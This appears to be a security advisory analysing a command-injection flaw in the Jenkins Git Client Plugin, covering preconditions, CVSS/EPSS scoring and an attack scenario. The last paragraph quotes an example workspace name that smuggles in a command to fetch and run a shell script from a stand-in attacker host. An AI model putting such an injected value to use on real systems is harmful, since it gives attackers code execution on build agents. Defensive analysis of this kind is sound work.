Git Client Plugin CVE-2026-57282

Exploitation requires authenticated low-privileged access to Jenkins sufficient to influence the build's working directory name - typically via the ability to configure a Jenkins job, use the ws() pipeline step in a Jenkinsfile, or set a custom workspace in job-level configuration. The vulnerability only triggers when SSH credentials (not HTTPS) are configured for the Git operation, as the SSH wrapper script generation is the vulnerable code path. Both conditions - attacker-controlled workspace name AND SSH-based Git authentication in the affected job - must be true simultaneously. Limiting factors: authenticated Jenkins access is required (PR:L); SSH Git credential configuration must be in use for that specific job; the attacker must be able to control the workspace path, not merely read it; and a build must be triggered after the malicious workspace name is set. Standard Jenkins installations where workspace names are derived from the job name only and SSH credentials are not in use are not exploitable.

The official CVSS score of 5.0 (Medium) with vector AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L accurately captures several real constraints: authenticated access is required (PR:L), exploitation complexity is elevated (AC:H) because the attacker must specifically control the workspace directory name, and scope is unchanged (S:U) meaning impact is bounded to the agent. EPSS at 0.18% (8th percentile) is consistent with SSVC exploitation: none, confirming no observed exploitation activity. These signals collectively indicate this is a real but non-urgent vulnerability for most organizations. However, the effective AC:H should be stress-tested against actual deployment: in Jenkins environments where developers can use the ws() pipeline step or configure custom workspace paths in Jenkinsfiles - which is common in large engineering organizations - the attacker's ability to influence directory names may be readily available, reducing the practical complexity. SSVC technical impact of 'partial' aligns with the Low CIA triad. The impact ceiling is bounded to the agent process user, not the Jenkins controller, further limiting blast radius.

An attacker with a low-privileged Jenkins account - such as a developer with job configuration access - sets a build's workspace directory to a name containing shell metacharacters (for example, a path ending in '; curl attacker.example/shell.sh | bash'). When the pipeline runs and the Git Client Plugin constructs the SSH wrapper script for an SSH-credential-backed Git operation, the unescaped directory name causes the injected commands to execute as the agent process user. No public exploit code has been identified at the time of analysis.